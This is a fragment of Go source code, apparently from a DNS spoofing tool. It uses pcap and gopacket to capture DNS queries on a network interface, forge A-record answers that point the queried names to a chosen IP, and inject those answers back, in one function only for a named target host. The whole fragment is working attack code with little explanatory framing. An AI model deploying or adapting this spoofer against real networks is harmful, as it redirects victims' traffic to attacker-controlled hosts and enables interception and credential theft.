/*
FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{
RETURNS: Byte array containing the spoofed response DNS packet data
ARGUMENTS:
*layers.Ethernet ethernetLayer - the ethernet part of the packet recieved
*layers.DNS dnsLayer - the dns part of the packet recieved
*layers.IPv4 ipLayer - the ip part of the packet recieved
*layers.UDP udpLayer - the udp part of the packet recieved
ABOUT:
Crafts a spoofed dns packet using the incoming query.
*/
func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte {
//if not a question return
if dnsLayer.QR || ipLayer.SrcIP.String() != target {
return nil
}
//must build every layer to send DNS packets
ethMac := ethernetLayer.DstMAC
ethernetLayer.DstMAC = ethernetLayer.SrcMAC
ethernetLayer.SrcMAC = ethMac
ipSrc := ipLayer.SrcIP
ipLayer.SrcIP = ipLayer.DstIP
ipLayer.DstIP = ipSrc
srcPort := udpLayer.SrcPort
udpLayer.SrcPort = udpLayer.DstPort
udpLayer.DstPort = srcPort
err = udpLayer.SetNetworkLayerForChecksum(ipLayer)
checkError(err)
var answer layers.DNSResourceRecord
answer.Type = layers.DNSTypeA
answer.Class = layers.DNSClassIN
answer.TTL = 200
answer.IP = ipAddr
dnsLayer.QR = true
for _, q := range dnsLayer.Questions {
if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
continue
}
answer.Name = q.Name
dnsLayer.Answers = append(dnsLayer.Answers, answer)
dnsLayer.ANCount = dnsLayer.ANCount + 1
}
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer)
checkError(err)
return buf.Bytes()
}
/*
Spoof is the entry point for the actual spoofing subroutine.
Spoof handles getting packets from the NICs, identifying DNS
queries, and seding responses. It is mostly concerened with
the packet level logic, and does not manipulate the responses
themselves
*/
func spoof(ifacename string) {
// get our local ip
ip := getIfaceAddr(ifacename)
if ip == nil {
panic("Unable to get IP")
}
// open a handle to the network card(s)
ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever)
if err != nil {
panic(err)
}
defer ifaceHandle.Close()
// set the filter
err = ifaceHandle.SetBPFFilter("udp and dst port 53")
if err != nil {
// not fatal
fmt.Printf("Unable to set filter: %v\n", err.Error())
}
// pre-allocate all the space needed for the layers
var ethLayer layers.Ethernet
var ipv4Layer layers.IPv4
var udpLayer layers.UDP
var dnsLayer layers.DNS
var q layers.DNSQuestion
var a layers.DNSResourceRecord
// create the decoder for fast-packet decoding
// (using the fast decoder takes about 10% the time of normal decoding)
decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer)
// this slick will hold the names of the layers successfully decoded
decodedLayers := make([]gopacket.LayerType, 0, 4)
// pre-create the response with most of the data filled out
a.Type = layers.DNSTypeA
a.Class = layers.DNSClassIN
a.TTL = 300
a.IP = ip
// create a buffer for writing output packet
outbuf := gopacket.NewSerializeBuffer()
// TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more
// set the arguments for serialization
serialOpts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
// pre-allocate loop counter
var i uint16
// swap storage for ip and udp fields
var ipv4Addr net.IP
var udpPort layers.UDPPort
var ethMac net.HardwareAddr
// Main loop for dns packets intercepted
// No new allocations after this point to keep garbage collector
// cyles at a minimum
for {
packetData, _, err := ifaceHandle.ZeroCopyReadPacketData()
if err != nil {
break
}
fmt.Println("Got packet from filter")
// decode this packet using the fast decoder
err = decoder.DecodeLayers(packetData, &decodedLayers)
if err != nil {
fmt.Println("Decoding error!")
continue
}
// only proceed if all layers decoded
if len(decodedLayers) != 4 {
fmt.Println("Not enough layers!")
continue
}
// check that this is not a response
if dnsLayer.QR {
continue
}
// print the question section
for i = 0; i < dnsLayer.QDCount; i++ {
fmt.Println(string(dnsLayer.Questions[i].Name))
}
// set this to be a response
dnsLayer.QR = true
// if recursion was requested, it is available
if dnsLayer.RD {
dnsLayer.RA = true
}
// for each question
for i = 0; i < dnsLayer.QDCount; i++ {
// get the question
q = dnsLayer.Questions[i]
// verify this is an A-IN record question
if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
continue
}
// copy the name across to the response
a.Name = q.Name
// append the answer to the original query packet
dnsLayer.Answers = append(dnsLayer.Answers, a)
dnsLayer.ANCount = dnsLayer.ANCount + 1
}
// swap ethernet macs
ethMac = ethLayer.SrcMAC
ethLayer.SrcMAC = ethLayer.DstMAC
ethLayer.DstMAC = ethMac
// swap the ip
ipv4Addr = ipv4Layer.SrcIP
ipv4Layer.SrcIP = ipv4Layer.DstIP
ipv4Layer.DstIP = ipv4Addr
// swap the udp ports
udpPort = udpLayer.SrcPort
udpLayer.SrcPort = udpLayer.DstPort
udpLayer.DstPort = udpPort
// set the UDP to be checksummed by the IP layer
err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer)
if err != nil {
panic(err)
}
// serialize packets
err = gopacket.SerializeLayers(outbuf, serialOpts, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer)
if err != nil {
panic(err)
}
// write packet
err = ifaceHandle.WritePacketData(outbuf.Bytes())
if err != nil {
panic(err)
}
fmt.Println("Response sent")
// comment out for debugging
continue
// DEBUGGG--------------------------------------------------------------
err = decoder.DecodeLayers(outbuf.Bytes(), &decodedLayers)
if err != nil {
fmt.Println("Decoding error: " + err.Error())
continue
}
// only proceed if all layers decoded
if len(decodedLayers) != 4 {
fmt.Println("Not enough layers!")
for j := range decodedLayers {
fmt.Println(decodedLayers[j])
}
continue
}
// print packet
fmt.Printf("IP src %v\n", ipv4Layer.SrcIP)
fmt.Printf("IP dst %v\n", ipv4Layer.DstIP)
fmt.Printf("UDP src port: %v\n", udpLayer.SrcPort)
fmt.Printf("UDP dst port: %v\n", udpLayer.DstPort)
fmt.Printf("DNS Quy count: %v\n", dnsLayer.QDCount)
// print the question section
for i = 0; i < dnsLayer.QDCount; i++ {
fmt.Printf("%v\n", string(dnsLayer.Questions[i].Name))
}
fmt.Printf("DNS Ans count: %v\n", dnsLayer.ANCount)
// print the question section
for i = 0; i < dnsLayer.ANCount; i++ {
fmt.Printf("%v type %v\n", string(dnsLayer.Answers[i].Name), dnsLayer.Answers[i].Type)
fmt.Printf("\t%v\n", dnsLayer.Answers[i].IP)
}
break
}
}